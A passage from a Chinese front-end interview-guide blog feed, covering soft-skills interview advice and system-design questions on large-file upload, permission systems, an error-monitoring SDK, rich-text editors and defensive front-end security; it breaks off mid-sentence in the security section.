   &quot;这个我确实没深入研究过，面试后我会去补一下。
    不过我之前遇到类似的 XX 问题时是这样解决的……&quot;

关键是：展现你的思考方式和学习能力，而不是死记硬背的知识。
面试官考察的往往不是&quot;你知不知道&quot;，而是&quot;你面对未知怎么应对&quot;。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q17: 面试挂了如何复盘？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;每次面试后立即做（趁记忆新鲜）：

1. 记录所有被问到的问题
   - 技术题：题目 + 我的答案 + 标准答案
   - 场景题：题目 + 我的思路 + 更好的思路
   - 软素质题：题目 + 我的回答 + 事后回想的最佳回答

2. 分类归因
   - 知识盲区（没学过）→ 系统学习
   - 表达问题（知道但没说清）→ 练习口述
   - 思路问题（想到但方向错）→ 看别人的思路
   - 紧张/时间不够 → 模拟面试练习

3. 更新面试宝典
   - 新题补进对应的文章
   - 好的答案沉淀成模板

4. 一周后回顾
   - 把新学的知识再复述一遍
   - 类似题目能否举一反三

我的经验：面试 5-10 家之后，会明显感觉题目开始重复。
前 3 家可以当&quot;练手&quot;，心仪的公司放中间或后面。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q18: 拿到多个 Offer 如何选择？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;选择维度（按重要性排序）：

1. 业务方向 / 赛道
   - 朝阳行业（AI、新能源、出海）&amp;gt; 夕阳行业
   - 公司主营业务 &amp;gt; 边缘业务部门
   - 有增长空间的领域，个人成长更快

2. 团队和技术氛围
   - 团队规模（10-50 人是最舒服的规模）
   - Leader 背景（技术出身 or 业务出身）
   - 团队做过什么（有没有拿得出手的项目）
   - Code Review、技术分享、开源文化

3. 直属 Leader
   - 面试时的感觉：能不能聊得来
   - 他/她的技术视野、带人风格
   - 一个靠谱的 Leader 能让你 3 年成长翻倍

4. 薪资 Package
   - 现金部分：月薪 × 几薪
   - 长期激励：期权 / 股票（上市公司看现价，未上市打折看）
   - 隐性福利：五险一金基数、餐补房补、年假、体检

5. 工作强度 / 通勤
   - 大小周？996？弹性工作？
   - 通勤时间（每天 &amp;gt;2h 严重影响生活质量）
   - 远程办公支持

6. 公司稳定性
   - 融资轮次 / 现金流（未上市）
   - 财报 / 裁员历史（上市）
   - 业务是否核心（边缘业务容易被砍）

我的建议：
- 3-5 年经验：优先业务方向 + 团队氛围（成长期，选对方向最重要）
- 5-8 年经验：优先 Leader + 技术挑战（要有拿得出手的项目）
- 8 年+：优先业务前景 + 长期激励（考虑股权、期权）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;软素质面试核心要点&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;自我介绍&lt;/strong&gt;：1.5-2 分钟，身份 + 经历 + 亮点 + 动机，有量化数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;项目介绍&lt;/strong&gt;：STAR 法则，有数据、有权衡、有沉淀&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术难点&lt;/strong&gt;：背景 → 尝试 → 突破 → 验证 → 沉淀&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离职原因&lt;/strong&gt;：不抱怨前公司，正面表达 + 未来导向&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;职业规划&lt;/strong&gt;：3 段式（1 年 / 2-3 年 / 3-5 年），落地不空谈&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反问环节&lt;/strong&gt;：一定要问！技术面试官问技术、HR 面才问薪资&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冲突处理&lt;/strong&gt;：理解对方 → 数据说话 → 折中方案 → 果断执行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;：真实 + 可改进 + 已有行动&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;薪资&lt;/strong&gt;：给区间不给单点，看总包不只看月薪&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;带新人&lt;/strong&gt;：环境 → 业务 → 独立 → 成长，四阶段&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推动改进&lt;/strong&gt;：数据 → 增量 → 样板 → 关键人物 → 工具 → 度量&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学习能力&lt;/strong&gt;：说真话 + 有输出（博客 / GitHub / Demo）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不会的题&lt;/strong&gt;：承认 + 展示思路 + 类比 + 承诺&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复盘&lt;/strong&gt;：立即记录 + 分类归因 + 更新宝典&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选 Offer&lt;/strong&gt;：业务 &amp;gt; 团队 &amp;gt; Leader &amp;gt; 薪资 &amp;gt; 强度 &amp;gt; 稳定性&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;strong&gt;最后的建议&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;面试是双向选择，不是单向审判。你在展示能力的同时，也在评估这家公司是否值得加入。&lt;/p&gt;
&lt;p&gt;保持自信但不傲慢、谦虚但不卑微。技术过硬 + 沟通清晰 + 职业规划明确 = 拿到心仪 Offer 的三大要素。&lt;/p&gt;
&lt;p&gt;祝面试顺利！🎉&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
技术+软素质都准备好后，如果想向全栈/BFF/SSR 方向深化，可继续阅读扩展专题：&lt;a href=&quot;/blog/posts/interview-guide-19-nodejs/&quot;&gt;Node.js 面试题专篇&lt;/a&gt; 涵盖事件循环、Stream、多进程多线程、Express/Koa/NestJS、Docker 部署等 Node.js 服务端开发核心知识。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>前端系统设计场景题（P6+ 高级岗分水岭）</title><link>http://117.72.32.87/blog/posts/interview-guide-17-system-design/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-17-system-design/</guid><description>讲解大文件上传、权限系统、埋点监控、富文本编辑器、前端安全、灰度发布、低代码平台、组件库设计等高级岗必考场景题。</description><pubDate>Wed, 16 Sep 2026 13:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 15 道前端系统设计场景题，是&lt;strong&gt;高级/资深前端（P6+/P7）面试的分水岭&lt;/strong&gt;。回答核心是&quot;分析 → 方案 → 权衡 → 演进&quot;，而不是直接给代码。难度标注：⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;回答框架&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;strong&gt;系统设计题的黄金回答框架&lt;/strong&gt;（务必按此结构组织）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;需求澄清&lt;/strong&gt;：反问关键细节（用户量、并发、场景、约束）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术方案&lt;/strong&gt;：整体架构 + 关键模块 + 数据流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术选型&lt;/strong&gt;：为什么选 A 不选 B（权衡 trade-off）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难点攻关&lt;/strong&gt;：识别 1-2 个核心难点，深入展开&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能与体验&lt;/strong&gt;：量化指标（响应时间、体积、FPS）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;演进与兜底&lt;/strong&gt;：从 MVP 到完整版的路径 + 异常处理&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;大文件上传&lt;/h2&gt;
&lt;h3&gt;Q1: 设计一个支持 GB 级大文件上传的方案 ⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;需求澄清：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文件大小上限？（100MB / 1GB / 10GB）&lt;/li&gt;
&lt;li&gt;网络环境？（内网稳定 / 公网易断）&lt;/li&gt;
&lt;li&gt;是否需要断点续传？秒传？&lt;/li&gt;
&lt;li&gt;并发用户数？服务端存储方案？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;核心方案（分片上传 + 断点续传 + 秒传）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;上传流程：
1. 计算文件 hash（秒传/去重用）
2. 检查是否已上传（秒传命中直接返回）
3. 检查已上传分片（断点续传）
4. 切片并并发上传未上传的分片
5. 通知服务端合并
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 1. 文件切片
function createChunks(file, chunkSize = 5 * 1024 * 1024) {
  const chunks = [];
  for (let start = 0; start &amp;lt; file.size; start += chunkSize) {
    chunks.push(file.slice(start, start + chunkSize));
  }
  return chunks;
}

// 2. 计算文件 hash（增量 + Web Worker 避免卡顿）
// 大文件全量 hash 太慢，采用抽样 hash：
// - 首尾各 2MB 全量
// - 中间每隔 10MB 取 2MB 采样
async function calculateHash(file) {
  return new Promise(resolve =&amp;gt; {
    const worker = new Worker(&apos;/hash-worker.js&apos;);
    worker.postMessage({ file });
    worker.onmessage = e =&amp;gt; resolve(e.data.hash);
  });
}

// hash-worker.js（Web Worker 中计算，不阻塞主线程）
importScripts(&apos;/spark-md5.min.js&apos;);
self.onmessage = async ({ data: { file } }) =&amp;gt; {
  const spark = new SparkMD5.ArrayBuffer();
  const chunks = createChunks(file);
  for (const chunk of chunks) {
    const buffer = await chunk.arrayBuffer();
    spark.append(buffer);
    self.postMessage({ progress: /* ... */ });   // 上报进度
  }
  self.postMessage({ hash: spark.end() });
};

// 3. 秒传 + 断点续传检查
const { uploadedChunks, uploaded } = await fetch(&apos;/api/upload/check&apos;, {
  method: &apos;POST&apos;,
  body: JSON.stringify({ hash, filename, total: chunks.length }),
}).then(r =&amp;gt; r.json());

if (uploaded) return { url: existingUrl };      // 秒传命中

// 4. 并发上传（限制并发数 3）
const tasks = chunks
  .map((chunk, index) =&amp;gt; ({ chunk, index }))
  .filter(({ index }) =&amp;gt; !uploadedChunks.includes(index));

await asyncPool(3, tasks.map(({ chunk, index }) =&amp;gt; async () =&amp;gt; {
  const formData = new FormData();
  formData.append(&apos;chunk&apos;, chunk);
  formData.append(&apos;hash&apos;, fileHash);
  formData.append(&apos;index&apos;, index);
  return fetch(&apos;/api/upload/chunk&apos;, { method: &apos;POST&apos;, body: formData });
}));

// 5. 通知合并
await fetch(&apos;/api/upload/merge&apos;, {
  method: &apos;POST&apos;,
  body: JSON.stringify({ hash, filename, total: chunks.length }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键追问与答案：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;追问&lt;/th&gt;
&lt;th&gt;回答&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;分片大小怎么选？&lt;/td&gt;
&lt;td&gt;5-10MB 平衡：太小请求多、太大失败重传成本高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hash 计算慢怎么办？&lt;/td&gt;
&lt;td&gt;Web Worker + 抽样 hash + 增量计算（SparkMD5）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;如何显示进度？&lt;/td&gt;
&lt;td&gt;(已传字节 / 总字节) + 每个分片内部 XMLHttpRequest.upload.onprogress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;暂停/恢复？&lt;/td&gt;
&lt;td&gt;维护 AbortController，暂停时 abort 所有请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上传失败重试？&lt;/td&gt;
&lt;td&gt;单分片失败自动重试 3 次（指数退避），全部失败入死信队列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;服务端如何合并？&lt;/td&gt;
&lt;td&gt;按 index 顺序 concat 分片文件 → 完整文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;并发数限制？&lt;/td&gt;
&lt;td&gt;前端 asyncPool 限 3-6，避免打爆浏览器连接数（每域 6 个）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CDN 直传？&lt;/td&gt;
&lt;td&gt;前端向业务服务器申请签名 → 直传 OSS/S3 → 回调业务服务器&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;架构演进：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MVP：直接 POST 表单（&amp;lt;10MB）&lt;/li&gt;
&lt;li&gt;V1：分片上传 + 服务端合并（&amp;lt;1GB）&lt;/li&gt;
&lt;li&gt;V2：+ 断点续传 + hash 秒传（&amp;lt;10GB）&lt;/li&gt;
&lt;li&gt;V3：+ CDN 直传 + 客户端并发控制（无上限）&lt;/li&gt;
&lt;li&gt;V4：+ Web Worker + 增量 hash + 上传队列持久化（IndexedDB）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;权限系统&lt;/h2&gt;
&lt;h3&gt;Q2: 设计一个中后台前端权限系统 ⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;权限的三个层次：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 路由权限：能不能访问某个页面
2. 按钮/操作权限：能不能看到/点击某个按钮
3. 数据权限：能看到哪些数据（部门/个人/全部）
4. 接口权限：后端接口鉴权（前端只做体验，安全靠后端）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方案 A：路由表配置式（角色固定）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 路由 meta 声明所需角色
const routes = [
  { path: &apos;/user&apos;, component: UserList, meta: { roles: [&apos;admin&apos;, &apos;manager&apos;] } },
  { path: &apos;/audit&apos;, component: Audit, meta: { roles: [&apos;admin&apos;] } },
];

// 全局前置守卫
router.beforeEach((to, from, next) =&amp;gt; {
  const userRoles = store.getters.roles;
  if (to.meta.roles &amp;amp;&amp;amp; !to.meta.roles.some(r =&amp;gt; userRoles.includes(r))) {
    next(&apos;/403&apos;);
  } else {
    next();
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方案 B：动态路由（后端下发，主流）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 登录后拉取用户信息和权限
const { roles, permissions, menus } = await api.getUserInfo();

// 2. 根据后端菜单树过滤路由表
const asyncRoutes = [/* 所有可能的路由 */];
const accessibleRoutes = filterRoutes(asyncRoutes, menus);

function filterRoutes(routes, menus) {
  return routes.filter(route =&amp;gt; {
    if (route.meta?.permission) {
      return menus.some(m =&amp;gt; m.code === route.meta.permission);
    }
    if (route.children) {
      route.children = filterRoutes(route.children, menus);
    }
    return true;
  });
}

// 3. 动态注册
accessibleRoutes.forEach(r =&amp;gt; router.addRoute(r));

// 4. 侧边栏菜单用同一份 menus 数据渲染（保持一致）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;按钮级权限（指令封装）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// v-permission 指令
app.directive(&apos;permission&apos;, {
  mounted(el, binding) {
    const required = binding.value;
    const userPerms = store.getters.permissions;
    const hasPermission = Array.isArray(required)
      ? required.some(p =&amp;gt; userPerms.includes(p))
      : userPerms.includes(required);
    if (!hasPermission) el.remove();
  },
});

// 使用
&amp;lt;el-button v-permission=&quot;&apos;user:delete&apos;&quot;&amp;gt;删除&amp;lt;/el-button&amp;gt;
&amp;lt;el-button v-permission=&quot;[&apos;user:edit&apos;, &apos;admin&apos;]&quot;&amp;gt;编辑&amp;lt;/el-button&amp;gt;

// 函数式（更灵活，可控制 loading/disabled 而不是删除）
&amp;lt;button :disabled=&quot;!hasPermission(&apos;user:delete&apos;)&quot;&amp;gt;删除&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;数据权限（后端为主，前端配合）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 前端只传&quot;数据范围&quot;参数（如：全部/本部门/本人）
// 后端根据用户角色和数据权限规则过滤 SQL
// 参考 RuoYi 的 @DataScope 注解：
// SELECT * FROM users ${dataScope}
// dataScope 由 AOP 根据角色注入：AND dept_id IN (...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问与陷阱：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;追问&lt;/th&gt;
&lt;th&gt;回答&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;前端权限能防住吗？&lt;/td&gt;
&lt;td&gt;不能！前端只做体验（不显示无权内容），安全必须后端二次校验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权限变更后如何同步？&lt;/td&gt;
&lt;td&gt;关键操作前实时校验 + WebSocket 推送权限变更事件强制刷新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权限粒度多细？&lt;/td&gt;
&lt;td&gt;一般到&quot;按钮/接口&quot;级，字段级权限成本高、少用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大量权限点如何管理？&lt;/td&gt;
&lt;td&gt;后端菜单表 + 权限标识（perm_code），前端只做展示，不硬编码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;路由跳转闪烁？&lt;/td&gt;
&lt;td&gt;动态 addRoute 后要 next({ ...to, replace: true }) 重新触发&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;前端监控&lt;/h2&gt;
&lt;h3&gt;Q3: 从零设计一个前端错误监控系统 ⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;整体架构：

浏览器 SDK → 上报网关 → Kafka → 消费服务 → 存储（ClickHouse/ES）→ 告警 + 看板

SDK 采集内容：
1. JS 错误：window.onerror / unhandledrejection
2. 资源加载错误：img/script/css 加载失败
3. 接口错误：拦截 fetch/XHR，记录 4xx/5xx/超时
4. 框架错误：Vue.config.errorHandler / React ErrorBoundary
5. 用户行为轨迹：点击、路由跳转、输入（脱敏）
6. 性能指标：LCP/FID/CLS + 长任务
7. 自定义错误：业务主动上报
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;class Monitor {
  constructor(config) {
    this.config = { appId, userId, sampleRate: 1, ...config };
    this.buffer = [];
    this.init();
  }

  init() {
    this.hookError();
    this.hookPromise();
    this.hookResource();
    this.hookXHR();
    this.hookFetch();
    this.hookBehavior();
    this.startReport();
  }

  hookError() {
    window.addEventListener(&apos;error&apos;, (e) =&amp;gt; {
      // 区分 JS 错误和资源错误
      if (e.target !== window) return this.reportResource(e);
      this.report({
        type: &apos;js_error&apos;,
        message: e.message,
        filename: e.filename,
        lineno: e.lineno,
        colno: e.colno,
        stack: e.error?.stack,
      });
    }, true);   // 捕获阶段才能拿到资源错误
  }

  hookPromise() {
    window.addEventListener(&apos;unhandledrejection&apos;, (e) =&amp;gt; {
      this.report({ type: &apos;promise_error&apos;, reason: String(e.reason) });
    });
  }

  hookXHR() {
    const originalOpen = XMLHttpRequest.prototype.open;
    const originalSend = XMLHttpRequest.prototype.send;
    const self = this;

    XMLHttpRequest.prototype.open = function (method, url) {
      this._meta = { method, url, startTime: Date.now() };
      originalOpen.apply(this, arguments);
    };
    XMLHttpRequest.prototype.send = function () {
      this.addEventListener(&apos;loadend&apos;, () =&amp;gt; {
        const { method, url, startTime } = this._meta;
        self.report({
          type: &apos;api&apos;,
          method, url,
          status: this.status,
          duration: Date.now() - startTime,
          success: this.status &amp;gt;= 200 &amp;amp;&amp;amp; this.status &amp;lt; 300,
        });
      });
      originalSend.apply(this, arguments);
    };
  }

  hookBehavior() {
    // 用户行为轨迹（面包屑），保留最近 20 条
    this.breadcrumbs = [];
    document.addEventListener(&apos;click&apos;, e =&amp;gt; {
      this.pushBreadcrumb({
        type: &apos;click&apos;,
        target: getXPath(e.target),
        text: e.target.innerText?.slice(0, 50),
      });
    }, true);
    // 路由变化
    const originalPush = history.pushState;
    history.pushState = (...args) =&amp;gt; {
      this.pushBreadcrumb({ type: &apos;route&apos;, to: args[2] });
      originalPush.apply(history, args);
    };
  }

  report(data) {
    if (Math.random() &amp;gt; this.config.sampleRate) return;    // 采样
    this.buffer.push({
      ...data,
      ...this.config,
      timestamp: Date.now(),
      url: location.href,
      ua: navigator.userAgent,
      breadcrumbs: this.breadcrumbs.slice(-20),
    });
  }

  startReport() {
    // 批量 + 节流上报
    setInterval(() =&amp;gt; this.flush(), 5000);
    // 页面卸载时用 sendBeacon
    window.addEventListener(&apos;beforeunload&apos;, () =&amp;gt; {
      if (this.buffer.length) {
        navigator.sendBeacon(&apos;/api/monitor&apos;, JSON.stringify(this.buffer));
      }
    });
    // 空闲时上报
    if (&apos;requestIdleCallback&apos; in window) {
      requestIdleCallback(() =&amp;gt; this.flush());
    }
  }

  flush() {
    if (!this.buffer.length) return;
    const batch = this.buffer.splice(0, 50);
    navigator.sendBeacon(&apos;/api/monitor&apos;, JSON.stringify(batch));
  }
}

new Monitor({ appId: &apos;my-app&apos;, sampleRate: 0.1 });   // 10% 采样
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键设计点：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;点&lt;/th&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SourceMap 还原&lt;/td&gt;
&lt;td&gt;生产环境不上传 SourceMap 到 CDN，只上传到监控平台，服务端用 source-map 库还原堆栈&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;错误去重/聚合&lt;/td&gt;
&lt;td&gt;按 hash(type+message+filename+lineno) 聚合，一个错误只显示一次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;采样率&lt;/td&gt;
&lt;td&gt;大流量站点 10%，小站点 100%，错误可 100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;用户脱敏&lt;/td&gt;
&lt;td&gt;密码/身份证/手机号在 SDK 端脱敏后再上报&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;告警规则&lt;/td&gt;
&lt;td&gt;5 分钟内错误率 &amp;gt; 0.5% / 新增错误类型 / P0 页面白屏率 &amp;gt; 1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;现成方案&lt;/td&gt;
&lt;td&gt;Sentry（开源+云服务）、阿里 ARMS、腾讯 RUM、字节 volcengine&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;富文本编辑器&lt;/h2&gt;
&lt;h3&gt;Q4: 如何设计一个富文本编辑器？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;三种技术路线：

1. contenteditable（老方案）
   - 浏览器原生 API，兼容性最好
   - 但各浏览器行为不一致，坑极多
   - 代表：早期的 UEditor、KindEditor

2. 自绘 + 隐藏输入框（现代方案）
   - 完全自己绘制内容（Canvas 或 DOM）
   - 用一个隐藏 input/textarea 接收键盘事件
   - 好处：完全控制渲染，跨浏览器一致
   - 代表：Google Docs、飞书文档、Figma

3. 基于成熟框架（推荐）
   - Slate.js（React，可扩展性极强）
   - ProseMirror（框架无关，插件化）
   - Tiptap（基于 ProseMirror，Vue 友好）
   - Quill（老牌，API 简单）
   - Lexical（Meta 出品，2022 年）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;核心数据模型（ProseMirror/Slate 风格）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 文档 = 树形结构，每个节点有类型、属性、子节点
{
  type: &apos;doc&apos;,
  content: [
    {
      type: &apos;paragraph&apos;,
      content: [
        { type: &apos;text&apos;, text: &apos;Hello &apos; },
        { type: &apos;text&apos;, text: &apos;world&apos;, marks: [{ type: &apos;bold&apos; }] },
      ],
    },
    {
      type: &apos;heading&apos;,
      attrs: { level: 2 },
      content: [{ type: &apos;text&apos;, text: &apos;Title&apos; }],
    },
    {
      type: &apos;image&apos;,
      attrs: { src: &apos;xxx.jpg&apos;, alt: &apos;desc&apos; },
    },
  ],
}

// 编辑器三大核心：
// 1. Schema：定义允许的节点和标记（约束文档结构）
// 2. Transaction：所有修改都是不可变的 op，可撤销重做
// 3. Plugin：装饰、快捷键、协同编辑都是插件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键难点与方案：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;难点&lt;/th&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;光标管理&lt;/td&gt;
&lt;td&gt;Selection API + 自绘光标（跨浏览器一致）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;撤销/重做&lt;/td&gt;
&lt;td&gt;事务日志（Transaction History），不用快照&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;粘贴处理&lt;/td&gt;
&lt;td&gt;拦截 paste 事件，解析 HTML/Markdown 转内部结构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;图片上传&lt;/td&gt;
&lt;td&gt;拦截 drop/paste，本地 blob 占位 → 上传后替换 URL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@提及&lt;/td&gt;
&lt;td&gt;触发字符检测 + 弹出面板 + 插入 mention 节点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;协同编辑&lt;/td&gt;
&lt;td&gt;Yjs + ProseMirror/Slate 绑定（见 16 篇 Q11）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大文档性能&lt;/td&gt;
&lt;td&gt;虚拟滚动（只渲染可视区域段落）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Markdown 兼容&lt;/td&gt;
&lt;td&gt;序列化插件（内部结构 ↔ Markdown）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS 防护&lt;/td&gt;
&lt;td&gt;严格 sanitize（DOMPurify），不允许任意 HTML&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;前端安全&lt;/h2&gt;
&lt;h3&gt;Q5: 前端如何做安全防护？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. XSS（跨站脚本）防护
   - 类型：存储型（评论注入）、反射型（URL 参数）、DOM 型（innerHTML）
   - 防御：
     * 输出转义：Vue {{ }}、React JSX 自动转义
     * 避免 v-html / dangerouslySetInnerHTML
     * 必须使用时用 DOMPurify 消毒
     * CSP 内容安全策略（限制脚本来源）
     * HttpOnly Cookie（JS 读不到，防窃取）

   import DOMPurify from &apos;dompurify&apos;;
   element.innerHTML = DOMPurify.sanitize(userInput);

   // CSP 响应头
   Content-Security-Policy: default-src &apos;self&apos;;
                            script-src &apos;self&apos; https://cdn.example.com;
                            object-src &apos;none&apos;;

2. CSRF（跨站请求伪造）防护
   - 类型：GET 型（img src）、POST 型（自动提交表单）
   - 防御：
     * SameSite Cookie：Strict / Lax（默认，禁止跨站携带）
     * CSRF Token：表单加隐藏字段，后端校验
     * 双重 Cookie：请求头带 X-CSRF-Token = Cookie 中的 token
     * 验证 Origin/Referer 头

3. 点击劫持
   - 防御：X-Frame-Options: DENY / SAMEORIGIN
   - 或 CSP frame-ancestors

4. MIME 嗅探
   - 防御：X-Content-Type-Options: nosniff

5. HTTPS 强制
   - HSTS：Strict-Transport-Security: max-age=31536000

6. 敏感数据处理
   - 前端不存明文密码（用一次性 token）
   - localStorage 慎用（XSS 可读），敏感用 HttpOnly Cookie
   - 打印日志脱敏（手机号、身份证）

7. 第三方脚本管控
   - SRI（Subresource Integrity）：hash 校验 CDN 脚本
   &amp;lt;script src=&quot;https://cdn/x.js&quot;
